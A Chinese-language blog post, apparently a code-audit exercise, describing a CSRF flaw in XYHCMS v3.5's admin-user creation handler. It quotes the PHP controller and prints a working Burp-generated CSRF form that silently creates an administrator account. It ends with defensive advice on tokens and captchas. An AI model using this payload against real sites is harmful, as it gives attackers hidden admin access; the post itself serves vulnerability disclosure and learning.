前言
最近入坑了PHP代码审计,从网上下了几套CMS尝试着练习一下,不得不说现在还在更新的大多数CMS安全性还是不错的,动不动就是源代码加密,配置360、阿里云的过滤文件。。。还好折腾了一段时间后在一个CMS中发现了CSRF漏洞,也算是对这一阵子的学习有一个交代。
场景复现
我们看一下添加系统用户的后台处理代码
public function addUser() { if (IS_POST) { //用户组 $group_id = I('group_id', array()); $department = I('department', array()); if (empty($department)) { $this->error('请选择部门'); } if (empty($group_id)) { $this->error('请选择职位'); } //M验证 $validate = array( array('username', 'require', '用户名不能为空!'), array('password', 'require', '密码不能为空!'), array('password', '5,20', '密码必须在5到20位之间', 0, 'length'), array('username', '', '用户名已经存在!', 0, 'unique', 1), ); $data = M('Admin'); if (!$data->validate($validate)->create()) { $this->error($data->getError()); } $password = get_password($data->password); $data->password = $password['password']; $data->encrypt = $password['encrypt']; $data->status = I('status', 0, 'intval'); $data->department = implode(',', $department); $data->login_time = date('Y-m-d H:i:s'); $data->login_ip = ''; if ($id = $data->add()) { $group_data = array(); foreach ($group_id as $key => $val) { $group_data[] = array('uid' => $id, 'group_id' => $val); } $result = M('AuthGroupAccess')->addAll($group_data); if ($result) { $this->success('添加成功', U('indexOfUser')); } else { $this->error('权限设置失败|用户添加成功'); } } else { $this->error('添加失败'); } exit(); } $_vListOfDepartment = M('Department')->order('sorting ASC, id ASC')->select(); $vListOfDepartment = \Common\Lib\Category::toTree($_vListOfDepartment); $vListOfGroup = M('AuthGroup')->where(array('status' => 1))->select(); $this->meta_title = "添加管理员"; $this->assign('vListOfDepartment', $vListOfDepartment); $this->assign('vListOfGroup', $vListOfGroup); $this->setAssign(); $this->display(); }
漏洞利用
添加系统管理员
可以发现,处理代码中没有token一类的随机数防御机制,可以尝试创建一个包含恶意代码的页面
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1/daimashenji/xyhcms_v3.5_20180518/xyhai.php?s=/Auth/addUser" method="POST"> <input type="hidden" name="username" value="test" /> <input type="hidden" name="password" value="123456" /> <input type="hidden" name="department[]" value="1" /> <input type="hidden" name="department[]" value="4" /> <input type="hidden" name="department[]" value="3" /> <input type="hidden" name="group_id[]" value="1" /> <input type="hidden" name="realname" value="hello" /> <input type="hidden" name="email" value="111@qq.com" /> <input type="hidden" name="is_lock" value="0" /> <input type="submit" value="Submit request" /> </form> </body></html>
使用登陆过管理员的浏览器点开该页面,回到后台,可以发现成功添加了新的管理员
防御建议
增加验证码机制
增加一个随机生成的参数token,后台处理时进行验证ps:使用token时需要做好xss防御,如果攻击者找到xss漏洞,token也很有可能被窃取而导致防御失效
评论留言